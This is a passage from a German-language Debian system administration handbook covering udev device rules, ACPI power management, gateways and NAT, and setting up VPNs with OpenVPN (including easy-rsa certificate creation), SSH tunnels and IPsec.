Was die Zuweisungsoperatoren betrifft, so weist = einen Wert zu (und ersetzt den gegenwärtigen Wert); im Falle einer Liste wird sie geleert und enthält dann nur den zugewiesenen Wert. := macht dasselbe, aber unterbindet spätere Veränderungen derselben Variablen. += fügt einer Liste eine Position hinzu. Die folgenden Variablen können verändert werden:

- NAME: der Dateiname des Geräts, der in /dev/ erstellt wird. Nur die erste Zuweisung zählt; die übrigen werden ignoriert;

- SYMLINK: die Liste symbolischer Verknüpfungen, die auf dasselbe Gerät zeigen;

- OWNER, GROUP und MODE legen den Eigentümer und die Gruppe fest, denen das Gerät gehört, sowie die dazugehörige Berechtigung;

- RUN: die Liste der als Reaktion auf dieses Ereignis auszuführenden Programme.

Die Werte, die diesen Variablen zugewiesen werden, können eine Reihe von Ersetzungen benutzen:

- $kernel oder %k: entspricht KERNEL;

- $number or %n: die Ordnungszahl des Geräts, zum Beispiel wäre dies „3“ für sda3;

- $devpath oder %p: entspricht DEVPATH;

- $attr{attribute} oder %s{attribute}: entspricht ATTRS{attribute};

- $major oder %M: die Hauptgerätenummer im Kernel;

- $minor oder %m: die Nebengerätenummer im Kernel;

- $result oder %c: die Zeichenkettenausgabe des letzten von PROGRAM aufgerufenen Programms;

- und schließlich %% und $$ für das Prozent- beziehungsweise Dollarzeichen.

Die oben stehenden Listen sind nicht vollständig (sie enthalten nur die wichtigsten Parameter), jedoch sollte die Handbuchseite udev(7) es sein.

9.11.4. Ein konkretes Beispiel

Lassen Sie uns den Fall eines einfachen USB-Sticks betrachten und versuchen, ihm eine feststehende Bezeichnung zu geben. Zunächst müssen Sie die Elemente finden, die ihn eindeutig identifizieren. Hierzu stecken Sie ihn ein und führen den Befehl udevadm info -a -n /dev/sdc aus (wobei Sie /dev/sdc durch den Namen ersetzen, der dem Stick tatsächlich zugewiesen ist).

# udevadm info -a -n /dev/sdc
[...]
looking at device '/devices/pci0000:00/0000:00:10.3/usb1/1-2/1-2.2/1-2.2:1.0/host9/target9:0:0/9:0:0:0/block/sdc':
KERNEL=="sdc"
SUBSYSTEM=="block"
DRIVER==""
ATTR{range}=="16"
ATTR{ext_range}=="256"
ATTR{removable}=="1"
ATTR{ro}=="0"
ATTR{size}=="126976"
ATTR{alignment_offset}=="0"
ATTR{capability}=="53"
ATTR{stat}=="      51      100     1208      256        0        0        0        0        0      192      25        6"
ATTR{inflight}=="       0        0"
[...]
looking at parent device '/devices/pci0000:00/0000:00:10.3/usb1/1-2/1-2.2/1-2.2:1.0/host9/target9:0:0/9:0:0:0':
KERNELS=="9:0:0:0"
SUBSYSTEMS=="scsi"
DRIVERS=="sd"
ATTRS{device_blocked}=="0"
ATTRS{type}=="0"
ATTRS{scsi_level}=="3"
ATTRS{vendor}=="I0MEGA  "
ATTRS{model}=="UMni64MB*IOM2C4 "
ATTRS{rev}=="    "
ATTRS{state}=="running"
[...]
ATTRS{max_sectors}=="240"
[...]
looking at parent device '/devices/pci0000:00/0000:00:10.3/usb1/1-2/1-2.2':
KERNELS=="9:0:0:0"
SUBSYSTEMS=="usb"
DRIVERS=="usb"
ATTRS{configuration}=="iCfg"
ATTRS{bNumInterfaces}==" 1"
ATTRS{bConfigurationValue}=="1"
ATTRS{bmAttributes}=="80"
ATTRS{bMaxPower}=="100mA"
ATTRS{urbnum}=="398"
ATTRS{idVendor}=="4146"
ATTRS{idProduct}=="4146"
ATTRS{bcdDevice}=="0100"
[...]
ATTRS{manufacturer}=="USB Disk"
ATTRS{product}=="USB Mass Storage Device"
ATTRS{serial}=="M004021000001"
[...]

Um eine neue Regel zu erstellen, können Sie Tests für die Variablen des Geräts wie auch für die eines übergeordneten Geräts durchführen. Der oben stehende Fall ermöglicht es uns, zwei Regeln wie die folgenden zu erstellen:

KERNEL=="sd?", SUBSYSTEM=="block", ATTRS{serial}=="M004021000001", SYMLINK+="usb_key/disk"
KERNEL=="sd?[0-9]", SUBSYSTEM=="block", ATTRS{serial}=="M004021000001", SYMLINK+="usb_key/part%n"

Sobald diese Regeln in einer Datei festgehalten sind, die zum Beispiel /etc/udev/rules.d/010_local.rules heißt, können Sie den USB-Stick einfach entfernen und wieder einstecken. Sie sehen dann, dass /dev/usb_key/disk die dem USB-Stick entsprechende Platte ist und /dev/usb_key/part1 ihre erste Partition.

WEITERE SCHRITTE Fehlersuche in udevs Konfiguration

Wie viele andere Daemons, so speichert auch udevd Protokolle in /var/log/daemon.log. Jedoch sind sie standardmäßig nicht sehr ausführlich und reichen gewöhnlich nicht aus, um zu verstehen, was vor sich geht. Der Befehl udevadm control --log-priority=info erhöht den Grad der Ausführlichkeit und behebt dieses Problem. udevadm control --log-priority=err setzt ihn wieder auf den ursprünglichen Ausführlichkeitsgrad zurück.

9.12. Modernes Energiemanagement: Advanced Configuration and Power Interface (ACPI)

Das Thema Energieverwaltung ist häufig mit Problemen verbunden. So erfordert das ordnungsgemäße Versetzen des Rechners in den Bereitschaftsbetrieb, dass alle Gerätetreiber des Rechners wissen, wie die Geräte in Stand-by versetzt werden, und dass sie sie bei der erneuten Betriebsaufnahme wieder ordnungsgemäß konfigurieren. Leider gibt es noch einige wenige Geräte, die unter Linux nicht korrekt in den Wartebetrieb übergehen, da ihre Hersteller die erforderlichen Spezifikationen nicht bereitgestellt haben.

Linux unterstützt ACPI (Advanced Configuration and Power Interface) - den jüngsten Standard für Powermanagement. Das Paket acpid stellt einen Dämon zur Verfügung, der nach Ereignissen im Zusammenhang mit dem Powermanagement Ausschau hält (das Umschalten zwischen Netz- und Batteriebetrieb bei einem Laptop usw.), und der diverse Befehle als Reaktion darauf ausführen kann.

VORSICHT Grafikkarte und Bereitschaftsbetrieb

Der Grafikkartentreiber ist häufig die Ursache, wenn der Bereitschaftsbetrieb nicht sauber funktioniert. In diesem Fall empfiehlt es sich, die jüngste Version des X.org-Grafikservers auszuprobieren.

Nach diesem Überblick über wesentliche Dienste, die vielen Unix-Systemen gemein sind, werden wir unsere Aufmerksamkeit auf das Umfeld der verwalteten Rechner richten: das Netzwerk. Damit das Netzwerk ordnungsgemäß funktioniert, sind viele Dienste erforderlich. Sie werden im nächsten Kapitel erörtert.

Kapitel 10. Netzwerk-Infrastruktur

Linux stellt das ganze Unixerbe an Netzwerkfunktionalität zur Verfügung und Debian bietet einen kompletten Satz an Werkzeugen, um ein Netzwerk aufzubauen und zu verwalten. In diesem Kapitel werden diese Werkzeuge besprochen.

10.1. Gateway

Ein Gateway ist ein System, das mehrere Netzwerke verbindet. Dieser Ausdruck bezieht sich häufig auf den "Ausgang" eines lokalen Netzwerks auf dem vorgeschriebenen Pfad zu externen IP-Adressen. Das Gateway ist mit jedem der Netzwerke verbunden, die es verbindet, und routet IP-Pakete zwischen verschiedenen Schnittstellen.

ZURÜCK ZU DEN GRUNDLAGEN IP-Paket

Die meisten Netzwerke nutzen heute das IP-Protokoll (Internet-Protocol). Dieses Protokoll unterteilt die gesendeten Daten in kleine Pakete. Jedes Paket enthält neben den Daten auch noch Hinweise zur korrekten Übertragung.

ZURÜCK ZU DEN GRUNDLAGEN TCP/UDP

Viele Programme verarbeiten die individuellen Pakete nicht selbst, auch wenn sie die Daten per IP übertragen. Sie nutzen oft TCP (Transmission Control Protocol/Transport Kontroll Protokoll). TCP ist eine Schicht über IP, um Datenströme zwischen zwei Punkten zu ermöglichen. Programme sehen nur einen Eingang in den sie ihre Daten senden können, das die gleichen Daten garantiert ohne Verlust (und in der gleichen Reihenfolge) am Ende der Verbindung ankommen. Obwohl viele verschiedene Fehler in den unteren Schichten auftreten können, regelt das TCP die erneute Versendung verlorener Pakete; Pakete welche in falscher Reihenfolge ankommen (z. B. wegen verschiedener Pfade) werden in der richtigen Reihenfolge ausgegeben.

Ein weiteres auf IP aufbauendes Protokoll ist UDP(User Datagram Protocol). Im Gegensatz zu TCP ist es paketorientiert. Es wird ein anderes Ziel verfolgt: Es sendet ein Paket von einer Anwendung zu einer Anderen. Das Protokoll kümmert sich nicht um verlorene Pakete oder die Reihenfolge der Pakete. Der Hauptvorteil ist die sehr niedrige Latenz, ein verlorenes Paket hält den Datenstrom nicht auf bis dieses wieder übertragen wird.

TCP und UDP nutzen Ports, das sind "Erweiterungs Nummern" um Verbindungen mit einer Anwendung der Maschine herzustellen. Dieses Konzept erlaubt es verschiedene Verbindungen mit einem Partner aufzubauen, da man diese Verbindungen anhand der Port-Nummer unterscheiden kann.

Einige dieser Port-Nummern — standardisiert durch die IANA (Internet Assigned Numbers Authority) — sind "well-known/gut bekannt" wegen der Netzwerkdienste welche üblicherweise dort laufen. TCP-Port 25 wird zum Beispiel meistens von Mail-Servern genutzt.

→ http://www.iana.org/assignments/port-numbers

Wenn ein lokales Netzwerk einen privaten Adressbereich verwendet (im Internet nicht erreichbar), muss das Gateway Addressen-Masquerading anwenden, damit die Rechner im Netzwerk mit der Außenwelt kommunizieren können. Das Masquerading ist eine Art Proxy-Verfahren auf Netzwerk-Ebene: Jede von einem internen Rechner ausgehende Verbindung wird durch eine Verbindung vom Gateway selbst ersetzt (da das Gateway eine externe, erreichbare Adresse hat). Durch die maskierte Verbindung gehende Daten werden an die neue Adresse gesendet; Antwortdaten werden durch die maskierte Verbindung an den internen Rechner geschickt. Das Gateway verwendet eine Reihe fest zugeordneter TCP-Ports, gewöhnlich mit sehr hohen Nummern (über 60000). Jede von einem internen Rechner kommende Verbindung erscheint der Außenwelt dann so, als käme sie von einem dieser reservierten Ports.

CULTURE Privater Addressbereich

RFC 1918 definiert drei IPv4-Adressbereiche, die nicht im Internet geroutet werden, sondern nur in lokalen Netzwerken. Das erste Netz, 10.0.0.0/8 (siehe Seitenleiste ZURÜCK ZU DEN GRUNDLAGEN Wesentliche Netzwerkkonzepte (Ethernet, IP-Adresse, Subnetz, Broadcast)), ist ein Klasse-A Bereich (mit 2^24 IP-Adressen). Das Zweite, 172.16.0.0/12, enthält 16 Klasse-B Bereiche (172.16.0.0/16 bis 172.31.0.0/16), mit jeweils 2^16 IP-Adressen. 192.168.0.0/16 ist schließlich ein Klasse-B Bereich (der 256 Klasse-C Bereiche, 192.168.0.0/24 bis 192.168.255.0/24, mit jeweils 256 IP-Adressen zusammenschließt).

→ http://www.faqs.org/rfcs/rfc1918.html

Das Gateway kann auch zwei Arten von Network Address Translation (oder kurz NAT genannt) durchführen. Die erste Art, Destination NAT (DNAT), ist ein Verfahren zur Änderung der Ziel-IP-Adresse (oder des TCP- beziehungsweise UDP-Ports) für eine (gewöhnlich) ankommende Verbindung. Der Mechanismus zur Verbindungsverfolgung ändert auch die innerhalb derselben Verbindung nachfolgenden Pakete, um Kontinuität in der Kommunikation sicherzustellen. Die zweite Art des NAT ist Source NAT (SNAT), bei dem das Masquerading ein besonderer Fall ist; SNAT ändert die Ausgangs-IP-Adresse (oder den TCP- beziehungsweise UDP-Port) einer (gewöhnlich) abgehenden Verbindung. Wie beim DNAT werden alle Pakete innerhalb der Verbindung durch den Verbindungsverfolgungsmechanismus behandelt. Beachten Sie, dass NAT nur für IPv4 und seinen begrenzten Adressraum gültig ist; bei IPv6 vermindert die groSZe Anzahl von Adressen den Nutzen des NAT erheblich, da es zulässt, dass alle "internen" Adressen direkt ins Internet geleitet werden (dies bedeutet nicht, dass interne Rechner zugänglich sind, da dazwischenliegende Firewalls den Datenverkehr filtern können).

ZURÜCK ZU DEN GRUNDLAGEN Port-Weiterleitung

Eine konkrete Anwendung von DNAT ist port forwarding. Ankommende Verbindungen eines bestimmten Ports einer Maschine werden zu einem Port einer anderen Maschine weitergeleitet. Andere Lösungen erzielen ähnliche Ergebnisse, auf Anwendungsebene insbesondere ssh (siehe Abschnitt 9.2.1.3, „Verschlüsselte Tunnel mit Port-Weiterleitung einrichten“) oder redir.

Genug der Theorie. Um aus einem Debian-System ein Gateway zu machen, genügt es die passende Option im Linux-Kernel zu aktivieren. Dies geschieht im virtuellen /proc/-Verzeichnis:

# echo 1 > /proc/sys/net/ipv4/conf/default/forwarding

Diese Option kann automatisch beim Booten gesetzt werden, wenn man in /etc/sysctl.conf die Option net.ipv4.conf.default.forwarding auf 1 setzt.

Beispiel 10.1. Die Datei /etc/sysctl.conf

net.ipv4.conf.default.forwarding = 1
net.ipv4.conf.default.rp_filter = 1
net.ipv4.tcp_syncookies = 1

Derselbe Effekt kann für IPv6 durch einfaches Ersetzen von ipv4 durch ipv6 im manuellen Befehl und durch Verwendung der Zeile net.ipv6.conf.all.forwarding in /etc/sysctl.conf erreicht werden.

Die Konfiguration von IPv4-Masquerading ist etwas schwieriger, und schließt die Konfiguration der netfilter-Firewall ein.

Auch NAT (für IPv4) erfordert die Konfiguration von netfilter. Da der Hauptzweck dieser Komponente im Filtern von Paketen besteht, sind die Einzelheiten in Kapitel 14: „Sicherheit“ aufgeführt (siehe Abschnitt 14.2, „Firewall oder Paketfilter“).

10.2. Virtual Private Network

Ein Virtual Private Network (kurz VPN genannt) ermoeglicht zwei verschiedene lokale Netze über das Internet mittels eines Tunnels zu verbinde. Zur Wahrung der Vertraulichkeit ist der Tunnel ist normalerweise verschlüsselt. VPNs werden häufig dazu benutzt, einen entfernten Rechner in ein lokales Firmennetz zu integrieren.

Etliche Hilfsprogramme bieten dies an. OpenVPN ist eine auf SSL/TLS basierende effiziente Lösung, die einfach eingesetzt und verwaltet werden kann. Eine andere Möglichkeit, um den IP-Verkehr zwischen zwei Rechnern zu verschlüsseln, ist IPsec; diese Verschlüsselung erfolgt transparent; das heißt, dass Anwendungen das VPN nutzen koennen, ohne dass sie angepasst werden muessten. Auch SSH kann ein VPN bereitstellen, ebenso Microsofts PPTP-Protokoll. Es gibt noch weitere Lösungen, die aber außerhalb des Schwerpunktes dieses Buches liegen.

10.2.1. OpenVPN

OpenVPN ist eine Software zum Anlegen virtueller privater Netze. Um es einzurichten, legen Sie virtuelle Netzwerkschnittstellen auf dem VPN-Server und den Clients an. tun (für Tunnel auf IP-Ebene) und tap (für Tunnel auf Ethernet-Ebene) werden unterstützt. In der Praxis werden meistens tun-Schnittstellen verwendet, außer wenn die VPN-Clients durch eine Ethernet-Brücke in das lokale Netz des Servers integriert werden sollen.

OpenVPN nutzt OpenSSL für die gesamte SSL/TLS-Kryptographie und die damit zusammenhängenden Leistungsmerkmale (Vertraulichkeit, Authentifizierung, Integrität, Nichtabstreitbarkeit). Es kann entweder mit einem geteilten privaten Schlüssel oder mithilfe eines (auf Public-Key-Verschluesselung basierenden) X.509-Zertifikats benutzt werden. Die zweite Konfiguration ist eindeutig vorzuziehen, da sie angesichts einer wachsenden Zahl wechselnder Benutzer des VPN größere Flexibilität ermöglicht.

KULTUR SSL und TLS

Das SSL-Protokoll (Secure Socket Layer) wurde von Netscape erfunden, um Verbindungen zu Webservern abzusichern. Es wurde später von der IETF unter der Abkürzung TLS (Transport Layer Security) zum Standard erhoben. Seither wurde TLS kontinuierlich weiterentwickelt und heute wird SSL aufgrund von verschiedenen Designfehlern als überholt angesehen.

10.2.1.1. Public-Key-Infrastrultur: easy-rsa

Der RSA-Algorithmus ist in der Public-Key-Kryptographie weit verbreitet. Er umfasst ein "Schlüsselpaar", das aus einem privaten und einem öffentlichen Schlüssel bezieht. Die beiden Schlüssel sind durch ihre mathematischen Eigenschaften derart miteinander verbunden, dass folgende Operation moeglich ist: Eine Nachricht, die mit dem öffentlichen Schlüssel verschlüsselt wurde, kann nur von jemandem entschlüsselt werden, der den privaten Schlüssel kennt. Dies stellt Vertraulichkeit her. In umgekehrter Richtung kann eine mit dem privaten Schlüssel verschlüsselte Nachricht, von jedem entschlüsselt werden, der den öffentlichen Schlüssel kennt. Dies authentifiziert die Nachricht, da sie nur der Inhaber des privaten Schlüssels erstellt haben kann. Dies führt in Verbindung mit einer digitalen Hash-Funktion (MD5, SHA1 oder einer neueren Variante) zu einem Signaturverfahren, das auf jede Nachricht angewendet werden kann.

Jedoch kann jeder ein Schlüsselpaar erstellen, eine beliebige Identität in ihm ablegen und so eine andere Identität vortäuschen. Ein Lösungskonzept beruht auf einer Certification Authority (CA, Zertifizierungsstelle), das durch den Standard X.509 formalisiert ist. Dieser Begriff bezeichnet eine Organisation, die ein vertrauenswürdiges Schlüsselpaar bereithält, das als Stammzertifikat bezeichnet wird. Dieses Zertifikat wird nur dazu benutzt, andere Zertifikate (Schlüsselpaare) zu signieren, nachdem die erforderlichen Schritte zur Überprüfung der Identität, die auf ihm abgelegt ist, unternommen worden sind. X.509-Anwendungen können dann vorgelegte Zertifikate überprüfen, wenn sie die vertrauenswürdigen Stammzertifikate kennen.

OpenVPN folgt dieser Regel. Da öffentliche Zertifizierungstellen Zertifikate nur gegen eine (hohe) Gebühr ausstellen, können private Zertifizierungsstellen auch innerhalb eines Unternehmens eingerichtet werden. Das 1easy-rsa Paket enthält Tools, die eine X.509 Zertifizierungs-Infrastruktur bereitstellen. Es besteht aus einem Satz von Skripten, die den Befehl openssl verwenden.

Anmerkung zu easy-rsa vor Jessie

In Debian Versionen vor Wheezy, war easy-rsa ein Teil des openvpn Paketes, und seine Scripte lagen unter /usr/share/doc/openvpn/examples/easy-rsa/2.0/. Um eine CA einzurichten, musste man anstelle von make-cadir, wie es hier beschrieben wird, diesen Ordner kopieren.

Die Administratoren der Falcot Corp. verwenden dieses Hilfsprogramm, um die erforderlichen Zertifikate sowohl für den Server, als auch die Clients zu erstellen. Dies ermöglicht eine ähnliche Konfiguration aller Clients, da sie nur so eingerichtet werden müssen, dass sie Zertifikaten von Falcots lokaler Zertifizierungsstelle vertrauen. Für diese Stelle wird das erste Zertifikat erstellt. Hierzu erstellen Administratoren das Verzeichnis mit den benötigten Dateien für die CA an einen passenderen Ort; vorzugsweise auf einen nicht mit dem Netzwerk verbundenen Rechner um so das Risiko des Schlüsseldiebstahls zu verringern.

$ make-cadir pki-falcot
$ cd pki-falcot

Dann werden die erforderlichen Parameter in der Datei vars gespeichert, insbesondere diejenigen, die mit dem Präfix KEY_ versehen sind; diese Variablen werden dann in die Umgebung integriert:

$ vim vars
$ grep KEY_ vars
export KEY_CONFIG=`$EASY_RSA/whichopensslcnf $EASY_RSA`
export KEY_DIR="$EASY_RSA/keys"
echo NOTE: If you run ./clean-all, I will be doing a rm -rf on $KEY_DIR
export KEY_SIZE=2048
export KEY_EXPIRE=3650
export KEY_COUNTRY="FR"
export KEY_PROVINCE="Loire"
export KEY_CITY="Saint-Étienne"
export KEY_ORG="Falcot Corp"
export KEY_EMAIL="admin@falcot.com"
export KEY_OU="Certificate authority"
export KEY_NAME="Certificate authority for Falcot Corp"
# If you'd like to sign all keys with the same Common Name, uncomment the KEY_CN export below
# export KEY_CN="CommonName"
$ . ./vars
NOTE: If you run ./clean-all, I will be doing a rm -rf on /home/roland/pki-falcot/keys
$ ./clean-all

Im nächsten Schritt wird das Schlüsselpaar der Zertifizierungsstelle erzeugt (die beiden Teile des Schlüsselpaars werden im Verlauf dieses Schritts unter keys/ca.crt und keys/ca.key gespeichert:

$ ./build-ca
Generating a 2048 bit RSA private key
...................................................................+++
...+++
writing new private key to 'ca.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [FR]:
State or Province Name (full name) [Loire]:
Locality Name (eg, city) [Saint-Étienne]:
Organization Name (eg, company) [Falcot Corp]:
Organizational Unit Name (eg, section) [Certificate authority]:
Common Name (eg, your name or your server's hostname) [Falcot Corp CA]:
Name [Certificate authority for Falcot Corp]:
Email Address [admin@falcot.com]:

Jetzt kann das Zertifikat für den VPN-Server erstellt werden, wie auch die Diffie-Hellmann-Parameter, die für die Serverseite einer SSL/TLS-Verbindung benötigt werden. Der VPN-Server ist mit seinem DNS-Namen vpn.falcot.com gekennzeichnet; dieser Name wird für die erzeugten Schlüsseldateien wiederverwendet (keys/vpn.falcot.com.crt für das öffentliche Zertifikat, keys/vpn.falcot.com.key für den privaten Schlüssel):

$ ./build-key-server vpn.falcot.com
Generating a 2048 bit RSA private key
.....................................................................................................................+++
...........+++
writing new private key to 'vpn.falcot.com.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [FR]:
State or Province Name (full name) [Loire]:
Locality Name (eg, city) [Saint-Étienne]:
Organization Name (eg, company) [Falcot Corp]:
Organizational Unit Name (eg, section) [Certificate authority]:
Common Name (eg, your name or your server's hostname) [vpn.falcot.com]:
Name [Certificate authority for Falcot Corp]:
Email Address [admin@falcot.com]:

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
Using configuration from /home/roland/pki-falcot/openssl-1.0.0.cnf
Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows
countryName           :PRINTABLE:'FR'
stateOrProvinceName   :PRINTABLE:'Loire'
localityName          :T61STRING:'Saint-\0xFFFFFFC3\0xFFFFFF89tienne'
organizationName      :PRINTABLE:'Falcot Corp'
organizationalUnitName:PRINTABLE:'Certificate authority'
commonName            :PRINTABLE:'vpn.falcot.com'
name                  :PRINTABLE:'Certificate authority for Falcot Corp'
emailAddress          :IA5STRING:'admin@falcot.com'
Certificate is to be certified until Mar  6 14:54:56 2025 GMT (3650 days)
Sign the certificate? [y/n]:y

1 out of 1 certificate requests certified, commit? [y/n]y
Write out database with 1 new entries
Data Base Updated
$ ./build-dh
Generating DH parameters, 2048 bit long safe prime, generator 2
This is going to take a long time
[…]

Der folgende Schritt erstellt Zertifikate für die VPN-Clients; für jeden Rechner oder jede Person, der das VPN nutzen darf, ist ein eigenes Zertifikat erforderlich:

$ ./build-key JoeSmith
Generating a 2048 bit RSA private key
................................+++
..............................................+++
writing new private key to 'JoeSmith.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [FR]:
State or Province Name (full name) [Loire]:
Locality Name (eg, city) [Saint-Étienne]:
Organization Name (eg, company) [Falcot Corp]:
Organizational Unit Name (eg, section) [Certificate authority]:Development unit
Common Name (eg, your name or your server's hostname) [JoeSmith]:Joe Smith
[…]

Nachdem nun alle Zertifikate erstellt sind, müssen sie an die passenden Stellen kopiert werden: Der öffentliche Schlüssel des Ursprungszertifikats ((keys/ca.crt) wird auf allen Rechnern (sowohl Server als auch Clients) als /etc/ssl/certs/Falcot_CA.crt gespeichert. Das Zertifikat des Servers wird nur auf dem Server installiert (keys/vpn.falcot.com.crt geht nach /etc/ssl/vpn.falcot.com.crt und keys/vpn.falcot.com.key geht nach /etc/ssl/private/vpn.falcot.com.key mit eingeschränkten Berechtigungen, so dass nur der Administrator sie lesen kann), während die entsprechenden Diffie-Hellman-Parameter (keys/dh2048.pem) nach /etc/openvpn/dh2048.pem installiert werden. Die Client-Zertifikate werden in ähnlicher Weise auf den entsprechenden VPN-Clients installiert.

10.2.1.2. Konfigurieren des OpenVPN-Servers

Das voreingestellte OpenVPN-Initialisierungsskript versucht alle in /etc/openvpn/*.conf festgelegten virtuellen privaten Netzwerke zu starten. Einen VPN-Server einzurichten besteht daher darin, eine entsprechende Konfigurationsdatei in diesem Verzeichnis abzuspeichern. Ein guter Ausgangspunkt ist /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz, das zu einem recht standardisierten Server führt. Natürlich müssen einige Parameter angepasst werden: ca, cert, key und dh müssen die ausgewählten Orte bezeichnen (jeweils /etc/ssl/certs/Falcot_CA.crt, /etc/ssl/vpn.falcot.com.crt, /etc/ssl/private/vpn.falcot.com.key und /etc/openvpn/dh2048.pem). Die Anweisung server 10.8.0.0 255.255.255.0 bestimmt das für das VPN zu nutzende Subnetz; der Server belegt die erste IP-Adresse dieses Bereichs (10.8.0.1), während die übrigen Adressen den Clients zugeordnet werden.

Wenn OpenVPN mit dieser Konfiguration gestartet wird, wird die Schnittstelle des virtuellen Netzwerks erstellt, gewöhnlich unter dem Namen tun0. Jedoch werden Firewalls häufig zur gleichen Zeit wie die echten Netzwerkschnittstellen konfiguriert, also vor dem Start von OpenVPN. Ein bewährtes Verfahren besteht deshalb darin, eine dauerhafte Schnittstelle für das virtuelle Netzwerk einzurichten und OpenVPN so zu konfigurieren, dass es dann diese bereits bestehende Schnittstelle benutzt. Dies macht es auch möglich, einen Namen für diese Schnittstelle auszuwählen. Zu diesem Zweck erstellt der Befehl openvpn --mktun --dev vpn --dev-type tun eine Schnittstelle des virtuellen Netzwerks namens vpn und des Typs tun; dieser Befehl kann leicht in das Konfigurationsskript der Firewall integriert werden oder in eine up-Anweisung der Datei /etc/network/interfaces. Die OpenVPN-Konfigurationsdatei muss ebenfalls in entsprechender Weise mit den Anweisungen dev vpn und dev-type tun aktualisiert werden.

Ohne weitere Maßnahmen können VPN-Clients nur den Server selbst über die Adresse 10.8.0.1 erreichen. Um den Clients Zugang zum lokalen Netzwerk (192.168.0.0/24) zu gewähren, muss die Anweisung push route 192.168.0.0 255.255.255.0 zur OpenVPN-Konfiguration hinzugefügt werden, so dass VPN-Clients automatisch eine Netzwerkroute erhalten, die ihnen sagt, dass dieses Netzwerk über das VPN zu erreichen ist. Darüberhinaus müssen Rechner im lokalen Netzwerk ebenfalls darüber informiert werden, dass der Weg zum VPN über den VPN-Server verläuft (dies funktioniert automatisch, wenn der VPN-Server auf dem Gateway installiert ist). Alternativ kann der VPN-Server auch IP-Masquerading unterstützen, so dass von den VPN-Clients kommende Verbindungen so aussehen, als kämen sie stattdessen vom VPN-Server (siehe Abschnitt 10.1, „Gateway“).

10.2.1.3. Konfigurieren des OpenVPN-Clients

Das Einrichten eines OpenVPN-Clients erfordert auch das Erstellen einer Konfigurationsdatei in /etc/openvpn/. Eine Standard-Konfiguration findet sich in der Datei /usr/share/doc/openvpn/examples/sample-config-files/client.conf. Die Anweisung remote vpn.falcot.com 1194 bezeichnet die Adresse und den Port des OpenVPN-Servers; ca, cert und key müssen auch angepasst werden, so dass sie die Orte der Schlüsseldateien bezeichnen.

Falls das VPN beim Hochfahren nicht automatisch starten soll, setzen Sie die AUTOSTART-Anweisung in der Datei /etc/default/openvpn auf none. Das Starten oder Anhalten einer bestimmten VPN-Verbindung ist immer mit den Befehlen service openvpn@name start und service openvpn@name stop möglich (wobei die Verbindung name mit derjenigen übereinstimmen muss, die in /etc/openvpn/name.conf eingetragen ist.

Das Paket network-manager-openvpn-gnome enthält eine Erweiterung für Network Manager (siehe Abschnitt 8.2.4, „Automatische Netzwerkkonfigurierung für mobile Benutzer“), die es ermöglicht, OpenVPN-Netzwerke zu verwalten. Damit kann jeder Benutzer OpenVPN-Verbindungen grafisch konfigurieren und sie über das Netzwerkverwaltungs-Symbol kontrollieren.

10.2.2. Virtual Private Network mit SSH

Es gibt eigentlich zwei Wege, um ein virtuelles privates Netzwerk mit SSH einzurichten. Der historische erfordert eine PPP-Schicht über die SSH-Verbindung. Diese Methode wird in einem HOWTO-Dokument beschrieben:

→ http://www.tldp.org/HOWTO/ppp-ssh/

Die zweite Methode ist neueren Datums und wurde mit OpenSSH 4.3 eingeführt; OpenSSH kann jetzt Schnittstellen des virtuellen Netzwerks (tun*) auf beiden Seiten einer SSH-Verbindung erstellen, und diese virtuellen Schnittstellen können genauso konfiguriert werden, als seien es reale Schnittstellen. Das Tunnelungssystem muss zuvor aktiviert werden, indem PermitTunnel in der Konfigurationsdatei des SSH-Servers (/etc/ssh/sshd_config) auf "yes" gesetzt wird. Bei der Einrichtung der SSH-Verbindung muss die Erstellung eines Tunnels ausdrücklich mit der Option -w any:any verlangt werden (any kann durch die gewünschte tun-Gerätenummer ersetzt werden). DEr Benutzer benötigt Administratorrechte auf beiden Seiten, um das Netzwerkgerät erstellen zu können (mit anderen Worten: die Verbindung muss als Root eingerichtet werden).

Beide Methoden zur Erstellung eines virtuellen privaten Netzwerks über SSH sind recht einfach. Jedoch ist das VPN, das sie bereitstellen, nicht das effizienteste; insbesondere kann es nicht gut mit hohem Datenaufkommen umgehen.

Die Erklärung ist die zweifache Anwendung des TCP-Protokolls, wenn ein TCP/IP-Stack in einer TCP/IP-Verbindung (für SSH) eingekapselt ist; einmal für die SSH-Verbindung und einmal innerhalb des Tunnels. Dies führt zu Problemen, insbesondere wegen der Zeitüberschreitungsverzögerungen durch die sich TCP an Netzwerkbedingungen anpasst. Die folgende Seite beschreibt das Problem genauer:

→ http://sites.inka.de/sites/bigred/devel/tcp-tcp.html

VPNs über SSH sollten daher auf einmalige Tunnel ohne besondere Leistungsanforderungen beschränkt bleiben.

10.2.3. IPsec

Obwohl IPsec der Standard in IP-VPNs ist, ist es stärker an seiner Umsetzung beteiligt. Die IPsec-Engine ist im Linux-Kernel integriert; die erforderlichen Teile im User-Space sowie die Steuerungs- und Konfigurierungsprogramme werden vom Paket ipsec-tools bereitgestellt. Konkret enthält die Datei /etc/ipsec-tools.conf jedes Rechners die Parameter für die IPsec-Tunnel (oder in der IPsec-Terminologie: Security Associations), mit denen der Rechner zu tun hat; das Skript /etc/init.d/setkey bietet die Möglichkeit, einen Tunnel zu eröffnen oder zu schließen (jeder Tunnel ist eine sichere Verbindung zu einem anderen mit dem virtuellen privaten Netzwerk verbundenen Rechner). Diese Datei kann von Hand mithilfe der Dokumentation auf der Handbuchseite setkey(8) erstellt werden. Es wird jedoch schnell zu einer mühseligen Arbeit, die Parameter aller Rechner in einem nicht alltäglichen Satz von Geräten ausführlich niederzuschreiben, da die Anzahl der Tunnel schnell ansteigt. Die Installation eines IKE-Daemons (für IPsec Key Exchange), wie racoon oder strongswan vereinfacht den Vorgang wesentlich durch das 